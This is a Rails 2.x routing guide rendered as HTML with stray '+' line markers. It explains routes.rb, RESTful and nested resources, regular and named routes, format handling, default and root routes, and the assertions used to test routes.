This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:

+
    +
  • +

    +Understand the purpose of routing +

    +
  • +
  • +

    +Decipher the code in routes.rb +

    +
  • +
  • +

    +Construct your own routes, using either the classic hash style or the now-preferred RESTful style +

    +
  • +
  • +

    +Identify how a route will map to a controller and action +

    +
  • +
+
+
+

1. The Dual Purpose of Routing

+
+

Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.

+

1.1. Connecting URLs to Code

+

When your Rails application receives an incoming HTTP request, say

+
+
+
GET /patients/17
+
+

the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the show action within the patients controller, displaying the details of the patient whose ID is 17.

+

1.2. Generating URLs from Code

+

Routing also works in reverse. If your application contains this code:

+
+
+
@patient = Patient.find(17)
+<%= link_to "Patient Record", patient_path(@patient) %>
+
+

Then the routing engine is the piece that translates that to a link to a URL such as http://example.com/patients/17. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.

+
+ + + +
+Note +Patient needs to be declared as a resource for this style of translation via a named route to be available.
+
+
+

2. Quick Tour of Routes.rb

+
+

There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file config/routes.rb, which contains the actual routes that will be used by your application. Learning exactly what you can put in routes.rb is the main topic of this guide, but before we dig in let's get a quick overview.

+

2.1. Processing the File

+

In format, routes.rb is nothing more than one big block sent to ActionController::Routing::Routes.draw. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:

+
    +
  • +

    +RESTful Routes +

    +
  • +
  • +

    +Named Routes +

    +
  • +
  • +

    +Nested Routes +

    +
  • +
  • +

    +Regular Routes +

    +
  • +
  • +

    +Default Routes +

    +
  • +
+

Each of these types of route is covered in more detail later in this guide.

+

The routes.rb file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.

+

2.2. RESTful Routes

+

RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:

+
+
+
map.resources :books
+
+

2.3. Named Routes

+

Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:

+
+
+
map.login '/login', :controller => 'sessions', :action => 'new'
+
+

2.4. Nested Routes

+

Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:

+
+
+
map.resources :assemblies do |assemblies|
+  assemblies.resources :parts
+end
+
+

2.5. Regular Routes

+

In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,

+
+
+
map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
+
+

2.6. Default Routes

+

The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:

+
+
+
map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+
+

These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!

+
+

3. RESTful Routing: the Rails Default

+
+

RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.

+

3.1. What is REST?

+

The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:

+
    +
  • +

    +Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources +

    +
  • +
  • +

    +Transferring representations of the state of that resource between system components. +

    +
  • +
+

For example, to a Rails application a request such as this:

+

DELETE /photos/17

+

would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.

+

3.2. CRUD, Verbs, and Actions

+

In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as

+
+
+
map.resources :photos
+
+

creates seven different routes in your application:

+
+ ++++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ HTTP verb + + URL + + controller + + action + + used for +
+ GET + + /photos + + Photos + + index + + display a list of all photos +
+ GET + + /photos/new + + Photos + + new + + return an HTML form for creating a new photo +
+ POST + + /photos + + Photos + + create + + create a new photo +
+ GET + + /photos/1 + + Photos + + show + + display a specific photo +
+ GET + + /photos/1/edit + + Photos + + edit + + return an HTML form for editing a photo +
+ PUT + + /photos/1 + + Photos + + update + + update a specific photo +
+ DELETE + + /photos/1 + + Photos + + destroy + + delete a specific photo +
+
+

For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as params[:id].

+
+ + + +
+Tip +If you consistently use RESTful routes in your application, you should disable the default routes in routes.rb so that Rails will enforce the mapping between HTTP verbs and routes.
+
+

3.3. URLs and Paths

+

Creating a RESTful route will also make available a pile of helpers within your application:

+
    +
  • +

    +photos_url and photos_path map to the path for the index and create actions +

    +
  • +
  • +

    +new_photo_url and new_photo_path map to the path for the new action +

    +
  • +
  • +

    +edit_photo_url and edit_photo_path map to the path for the edit action +

    +
  • +
  • +

    +photo_url and photo_path map to the path for the show, update, and destroy actions +

    +
  • +
+
+ + + +
+Note +Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.
+
+

In each case, the _url helper generates a string containing the entire URL that the application will understand, while the _path helper generates a string containing the relative path from the root of the application. For example:

+
+
+
photos_url  # => "http://www.example.com/photos"
+photos_path # => "/photos"
+
+

3.4. Defining Multiple Resources at the Same Time

+

If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to map.resources:

+
+
+
map.resources :photos, :books, :videos
+
+

This has exactly the same effect as

+
+
+
map.resources :photos
+map.resources :books
+map.resources :videos
+
+

3.5. Singular Resources

+

You can also apply RESTful routing to singleton resources within your application. In this case, you use map.resource instead of map.resources and the route generation is slightly different. For example, a routing entry of

+
+
+
map.resource :geocoder
+
+

creates six different routes in your application:

+
+ ++++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ HTTP verb + + URL + + controller + + action + + used for +
+ GET + + /geocoder/new + + Geocoders + + new + + return an HTML form for creating the new geocoder +
+ POST + + /geocoder + + Geocoders + + create + + create the new geocoder +
+ GET + + /geocoder + + Geocoders + + show + + display the one and only geocoder resource +
+ GET + + /geocoder/edit + + Geocoders + + edit + + return an HTML form for editing the geocoder +
+ PUT + + /geocoder + + Geocoders + + update + + update the one and only geocoder resource +
+ DELETE + + /geocoder + + Geocoders + + destroy + + delete the geocoder resource +
+
+
+ + + +
+Note +Even though the name of the resource is singular in routes.rb, the matching controller is still plural.
+
+

A singular RESTful route generates an abbreviated set of helpers:

+
    +
  • +

    +new_geocoder_url and new_geocoder_path map to the path for the new action +

    +
  • +
  • +

    +edit_geocoder_url and edit_geocoder_path map to the path for the edit action +

    +
  • +
  • +

    +geocoder_url and geocoder_path map to the path for the create, show, update, and destroy actions +

    +
  • +
+

3.6. Customizing Resources

+

Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:

+
    +
  • +

    +:controller +

    +
  • +
  • +

    +:singular +

    +
  • +
  • +

    +:requirements +

    +
  • +
  • +

    +:conditions +

    +
  • +
  • +

    +:as +

    +
  • +
  • +

    +:path_names +

    +
  • +
  • +

    +:path_prefix +

    +
  • +
  • +

    +:name_prefix +

    +
  • +
  • +

    +:only +

    +
  • +
  • +

    +:except +

    +
  • +
+

You can also add additional routes via the :member and :collection options, which are discussed later in this guide.

+

3.6.1. Using :controller

+

The :controller option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:

+
+
+
map.resources :photos, :controller => "images"
+
+

will recognize incoming URLs containing photo but route the requests to the Images controller:

+
+ ++++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ HTTP verb + + URL + + controller + + action + + used for +
+ GET + + /photos + + Images + + index + + display a list of all images +
+ GET + + /photos/new + + Images + + new + + return an HTML form for creating a new image +
+ POST + + /photos + + Images + + create + + create a new image +
+ GET + + /photos/1 + + Images + + show + + display a specific image +
+ GET + + /photos/1/edit + + Images + + edit + + return an HTML form for editing a image +
+ PUT + + /photos/1 + + Images + + update + + update a specific image +
+ DELETE + + /photos/1 + + Images + + destroy + + delete a specific image +
+
+
+ + + +
+Note +The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get photos_path, new_photo_path, and so on.
+
+

3.7. Controller Namespaces and Routing

+

Rails allows you to group your controllers into namespaces by saving them in folders underneath app/controllers. The :controller option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the admin folder:

+
+
+
map.resources :adminphotos, :controller => "admin/photos"
+
+

If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the adminphoto_path helper, and you follow a link generated with <%= link_to "show", adminphoto(1) %> you will end up on the view generated by admin/photos/show but you will also end up in the same place if you have <%= link_to "show", {:controller ⇒ "photos", :action ⇒ "show"} %> because Rails will generate the show URL relative to the current URL.

+
+ + + +
+Tip +If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <%= link_to "show", {:controller ⇒ "/photos", :action ⇒ "show"} %>
+
+

You can also specify a controller namespace with the :namespace option instead of a path:

+
+
+
map.resources :adminphotos, :namespace => "admin", :controller => "photos"
+
+

This can be especially useful when combined with with_options to map multiple namespaced routes together:

+
+
+
map.with_options(:namespace => "admin") do |admin|
+  admin.resources :photos, :videos
+end
+
+

That would give you routing for admin/photos and admin/videos controllers.

+

3.7.1. Using :singular

+

If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the :singular option:

+
+
+
map.resources :teeth, :singular => "tooth"
+
+
+ + + +
+Tip +Depending on the other code in your application, you may prefer to add additional rules to the Inflector class instead.
+
+

3.7.2. Using :requirements

+

You an use the :requirements option in a RESTful route to impose a format on the implied :id parameter in the singular routes. For example:

+
+
+
map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
+
+

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, /photos/1 would no longer be recognized by this route, but /photos/RR27 would.

+

3.7.3. Using :conditions

+

Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)

+

3.7.4. Using :as

+

The :as option lets you override the normal naming for the actual generated paths. For example:

+
+
+
map.resources :photos, :as => "images"
+
+

will recognize incoming URLs containing image but route the requests to the Photos controller:

+
+ ++++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ HTTP verb + + URL + + controller + + action + + used for +
+ GET + + /images + + Photos + + index + + display a list of all photos +
+ GET + + /images/new + + Photos + + new + + return an HTML form for creating a new photo +
+ POST + + /images + + Photos + + create + + create a new photo +
+ GET + + /images/1 + + Photos + + show + + display a specific photo +
+ GET + + /images/1/edit + + Photos + + edit + + return an HTML form for editing a photo +
+ PUT + + /images/1 + + Photos + + update + + update a specific photo +
+ DELETE + + /images/1 + + Photos + + destroy + + delete a specific photo +
+
+
+ + + +
+Note +The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get photos_path, new_photo_path, and so on.
+
+

3.7.5. Using :path_names

+

The :path_names option lets you override the automatically-generated "new" and "edit" segments in URLs:

+
+
+
map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
+
+

This would cause the routing to recognize URLs such as

+
+
+
/photos/make
+/photos/1/change
+
+
+ + + +
+Note +The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.
+
+
+ + + +
+Tip +If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
+
+
+
+
config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
+
+

3.7.6. Using :path_prefix

+

The :path_prefix option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:

+
+
+
map.resources :photos, :path_prefix => '/photographers/:photographer_id'
+
+

Routes recognized by this entry would include:

+
+
+
/photographers/1/photos/2
+/photographers/1/photos
+
+
+ + + +
+Note +In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
+
+
+ + + +
+Note +You can also use :path_prefix with non-RESTful routes.
+
+

3.7.7. Using :name_prefix

+

You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use :path_prefix to map differently. For example:

+
+
+
map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
+map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
+
+

This combination will give you route helpers such as photographer_photos_path and agency_edit_photo_path to use in your code.

+
+ + + +
+Note +You can also use :name_prefix with non-RESTful routes.
+
+

3.7.8. Using :only and :except

+

By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option specifies that only certain routes should be generated:

+
+
+
map.resources :photos, :only => [:index, :show]
+
+

With this declaration, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

+

The :except option specifies a route or list of routes that should not be generated:

+
+
+
map.resources :photos, :except => :destroy
+
+

In this case, all of the normal routes except the route for destroy (a DELETE request to /photos/id) will be generated.

+

In addition to an action or a list of actions, you can also supply the special symbols :all or :none to the :only and :except options.

+
+ + + +
+Tip +If your application has many RESTful routes, using :only and :accept to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+

3.8. Nested Resources

+

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

+
+
+
class Magazine < ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+  belongs_to :magazine
+end
+
+

Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:

+
+
+
map.resources :magazines do |magazine|
+  magazine.resources :ads
+end
+
+

In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:

+
+ ++++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ HTTP verb + + URL + + controller + + action + + used for +
+ GET + + /magazines/1/ads + + Ads + + index + + display a list of all ads for a specific magazine +
+ GET + + /magazines/1/ads/new + + Ads + + new + + return an HTML form for creating a new ad belonging to a specific magazine +
+ POST + + /magazines/1/ads + + Ads + + create + + create a new ad belonging to a specific magazine +
+ GET + + /magazines/1/ads/1 + + Ads + + show + + display a specific ad belonging to a specific magazine +
+ GET + + /magazines/1/ads/1/edit + + Ads + + edit + + return an HTML form for editing an ad belonging to a specific magazine +
+ PUT + + /magazines/1/ads/1 + + Ads + + update + + update a specific ad belonging to a specific magazine +
+ DELETE + + /magazines/1/ads/1 + + Ads + + destroy + + delete a specific ad belonging to a specific magazine +
+
+

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path.

+

3.8.1. Using :name_prefix

+

The :name_prefix option overrides the automatically-generated prefix in nested route helpers. For example,

+
+
+
map.resources :magazines do |magazine|
+  magazine.resources :ads, :name_prefix => 'periodical'
+end
+
+

This will create routing helpers such as periodical_ads_url and periodical_edit_ad_path. You can even use :name_prefix to suppress the prefix entirely:

+
+
+
map.resources :magazines do |magazine|
+  magazine.resources :ads, :name_prefix => nil
+end
+
+

This will create routing helpers such as ads_url and edit_ad_path. Note that calling these will still require supplying an article id:

+
+
+
ads_url(@magazine)
+edit_ad_path(@magazine, @ad)
+
+

3.8.2. Using :has_one and :has_many

+

The :has_one and :has_many options provide a succinct notation for simple nested routes. Use :has_one to nest a singleton resource, or :has_many to nest a plural resource:

+
+
+
map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
+
+

This has the same effect as this set of declarations:

+
+
+
map.resources :photos do |photo|
+  photo.resource :photographer
+  photo.resources :publications
+  photo.resources :versions
+end
+
+

3.8.3. Limits to Nesting

+

You can nest resources within other nested resources if you like. For example:

+
+
+
map.resources :publishers do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+
+

However, without the use of name_prefix ⇒ nil, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as

+
+
+
/publishers/1/magazines/2/photos/3
+
+

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

+

Resources should never be nested more than 1 level deep.

+

3.8.4. Shallow Nesting

+

The :shallow option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an :id parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:

+
+
+
map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+
+

This will enable recognition of (among others) these routes:

+
+
+
/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+
+

With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the :has_one and :has_many options:

+
+
+
map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
+
+

3.9. Route Generation from Arrays

+

In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:

+
+
+
map.resources :magazines do |magazine|
+  magazine.resources :ads
+end
+
+

Rails will generate helpers such as magazine_ad_path that you can use in building links:

+
+
+
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
+
+

Another way to refer to the same route is with an array of objects:

+
+
+
<%= link_to "Ad details", [@magazine, @ad] %>
+
+

This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.

+

3.10. Namespaced Resources

+

It's possible to do some quite complex things by combining :path_prefix and :name_prefix. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:

+
+
+
map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
+map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
+map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
+
+

The good news is that if you find yourself using this level of complexity, you can stop. Rails supports namespaced resources to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:

+
+
+
map.namespace(:admin) do |admin|
+        admin.resources :photos,
+          :has_many => { :tags, :ratings}
+end
+
+

As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get admin_photos_url that expects to find an Admin::PhotosController and that matches admin/photos, and admin_photos_ratings_path that matches /admin/photos/photo_id/ratings, expecting to use Admin::RatingsController. Even though you're not specifying path_prefix explicitly, the routing code will calculate the appropriate path_prefix from the route nesting.

+

3.11. Adding More RESTful Actions

+

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).

+

3.11.1. Adding Member Routes

+

To add a member route, use the :member option:

+
+
+
map.resources :photos, :member => { :preview => :get }
+
+

This will enable Rails to recognize URLs such as /photos/1/preview using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a preview_photo route helper.

+

Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use :get, :put, :post, :delete, or :any here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:

+
+
+
map.resources :photos, :member => { :prepare => [:get, :post] }
+
+

3.11.2. Adding Collection Routes

+

To add a collection route, use the :collection option:

+
+
+
map.resources :photos, :collection => { :search => :get }
+
+

This will enable Rails to recognize URLs such as /photos/search using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a search_photos route helper.

+

Just as with member routes, you can specify an array of methods for a collection route:

+
+
+
map.resources :photos, :collection => { :search => [:get, :post] }
+
+

3.11.3. Adding New Routes

+

To add a new route (one that creates a new resource), use the :new option:

+
+
+
map.resources :photos, :new => { :upload => :post }
+
+

This will enable Rails to recognize URLs such as /photos/upload using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a upload_photos route helper.

+
+ + + +
+Tip +If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
+
+
+
+
map.resources :photos, :new => { :new => :any }
+
+

This will allow the new action to be invoked by any request to photos/new, no matter what HTTP verb you use.

+

3.11.4. A Note of Caution

+

If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the :member and :collection hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.

+
+

4. Regular Routes

+
+

In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.

+

While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing when possible, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.

+

4.1. Bound Parameters

+

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider one of the default Rails routes:

+
+
+
map.connect ':controller/:action/:id'
+
+

If an incoming request of /photos/show/1 is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the show action of the Photos controller, and to make the final parameter (1) available as params[:id].

+

4.2. Wildcard Components

+

You can set up as many wildcard symbols within a regular route as you like. Anything other than :controller or :action will be available to the matching action as part of the params hash. So, if you set up this route:

+
+
+
map.connect ':controller/:action/:id/:user_id'
+
+

An incoming URL of /photos/show/1/2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be set to 2.

+

4.3. Static Text

+

You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:

+
+
+
map.connect ':controller/:action/:id/with_user/:user_id'
+
+

This route would respond to URLs such as /photos/show/1/with_user/2.

+

4.4. Querystring Parameters

+

Rails routing automatically picks up querystring parameters and makes them available in the params hash. For example, with this route:

+
+
+
map.connect ':controller/:action/:id'
+
+

An incoming URL of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be equal to 2.

+

4.5. Defining Defaults

+

You do not need to explicitly use the :controller and :action symbols within a route. You can supply defaults for these two parameters in a hash:

+
+
+
map.connect 'photo/:id', :controller => 'photos', :action => 'show'
+
+

With this route, an incoming URL of /photos/12 would be dispatched to the show action within the Photos controller.

+

You an also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:

+
+
+
map.connect 'photo/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
+
+

With this route, an incoming URL of photos/12 would be dispatched to the show action within the Photos controller, and params[:format] will be set to jpg.

+

4.6. Named Routes

+

Regular routes need not use the connect method. You can use any other name here to create a named route. For example,

+
+
+
map.logout '/logout', :controller => 'sessions', :action => 'destroy'
+
+

This will do two things. First, requests to /logout will be sent to the destroy method of the Sessions controller. Second, Rails will maintain the logout_path and logout_url helpers for use within your code.

+

4.7. Route Requirements

+

You can use the :requirements option to enforce a format for any parameter in a route:

+
+
+
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+ :requirements => { :id => /[A-Z]\d{5}/ }
+
+

This route would respond to URLs such as /photo/A12345. You can more succinctly express the same route this way:

+
+
+
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+  :id => /[A-Z]\d{5}/
+
+

4.8. Route Conditions

+

Route conditions (introduced with the :conditions option) are designed to implement restrictions on routes. Currently, the only supported restriction is :method:

+
+
+
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+ :conditions => { :method => :get }
+
+

As with conditions in RESTful routes, you can specify :get, :post, :put, :delete, or :any for the acceptable method.

+

4.9. Route Globbing

+

Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example

+
+
+
map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
+
+

This route would match photo/12 or /photo/long/path/to/12 equally well, creating an array of path segments as the value of params[:other].

+

4.10. Route Options

+

You can use :with_options to simplify defining groups of similar routes:

+
+
+
map.with_options :controller => 'photo' do |photo|
+  photo.list '', :action => 'index'
+  photo.delete ':id/delete', :action => 'delete'
+  photo.edit ':id/edit', :action => 'edit'
+end
+
+

The importance of map.with_options has declined with the introduction of RESTful routes.

+
+

5. Formats and respond_to

+
+

There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special :format parameter in the route.

+

For instance, consider the second of the default routes in the boilerplate routes.rb file:

+
+
+
map.connect ':controller/:action/:id.:format'
+
+

This route matches requests such as /photo/edit/1.xml or /photo/show/2.rss. Within the appropriate action code, you can issue different responses depending on the requested format:

+
+
+
respond_to do |format|
+  format.html # return the default template for HTML
+  format.xml { render :xml => @photo.to_xml }
+end
+
+

5.1. Specifying the Format with an HTTP Header

+

If there is no :format parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.

+

5.2. Recognized MIME types

+

By default, Rails recognizes html, text, json, csv, xml, rss, atom, and yaml as acceptable response types. If you need types beyond this, you can register them in your environment:

+
+
+
Mime::Type.register "image/jpg", :jpg
+
+
+

6. The Default Routes

+
+

When you create a new Rails application, routes.rb is initialized with two default routes:

+
+
+
map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+
+

These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.

+
+ + + +
+Note +The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
+
+
+

7. The Empty Route

+
+

Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to http://example.com or http://example.com/ will be handled by the empty route.

+

7.1. Using map.root

+

The preferred way to set up the empty route is with the map.root command:

+
+
+
map.root :controller => "pages", :action => "main"
+
+

The use of the root method tells Rails that this route applies to requests for the root of the site.

+

For better readability, you can specify an already-created route in your call to map.root:

+
+
+
map.index :controller => "pages", :action => "main"
+map.root :index
+
+

Because of the top-down processing of the file, the named route must be specified before the call to map.root.

+

7.2. Connecting the Empty String

+

You can also specify an empty route by explicitly connecting the empty string:

+
+
+
map.connect '', :controller => "pages", :action => "main"
+
+
+ + + +
+Tip +If the empty route does not seem to be working in your application, make sure that you have deleted the file public/index.html from your Rails tree.
+
+
+

8. Inspecting and Testing Routes

+
+

Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.

+

8.1. Seeing Existing Routes with rake

+

If you want a complete list of all of the available routes in your application, run the rake routes command. This will dump all of your routes to the console, in the same order that they appear in routes.rb. For each route, you'll see:

+
    +
  • +

    +The route name (if any) +

    +
  • +
  • +

    +The HTTP verb used (if the route doesn't respond to all verbs) +

    +
  • +
  • +

    +The URL pattern +

    +
  • +
  • +

    +The routing parameters that will be generated by this URL +

    +
  • +
+

For example, here's a small section of the rake routes output for a RESTful route:

+
+
+
          users GET  /users          {:controller=>"users", :action=>"index"}
+formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
+                POST /users          {:controller=>"users", :action=>"create"}
+                POST /users.:format  {:controller=>"users", :action=>"create"}
+
+
+ + + +
+Tip +You'll find that the output from rake routes is much more readable if you widen your terminal window until the output lines don't wrap.
+
+

8.2. Testing Routes

+

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

+
    +
  • +

    +assert_generates +

    +
  • +
  • +

    +assert_recognizes +

    +
  • +
  • +

    +assert_routing +

    +
  • +
+

8.2.1. The assert_generates Assertion

+

Use assert_generates to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes

+
+
+
assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
+assert_generates "/about", :controller => "pages", :action => "about"
+
+

8.2.2. The assert_recognizes Assertion

+

The assert_recognizes assertion is the inverse of assert_generates. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.

+
+
+
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
+
+

You can supply a :method argument to specify the HTTP verb:

+
+
+
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
+
+

You can also use the RESTful helpers to test recognition of a RESTful route:

+
+
+
assert_recognizes new_photo_url, { :path => "photos", :method => :post }
+
+

8.2.3. The assert_routing Assertion

+

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes.

+
+
+
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
+
+
+

9. Changelog

+
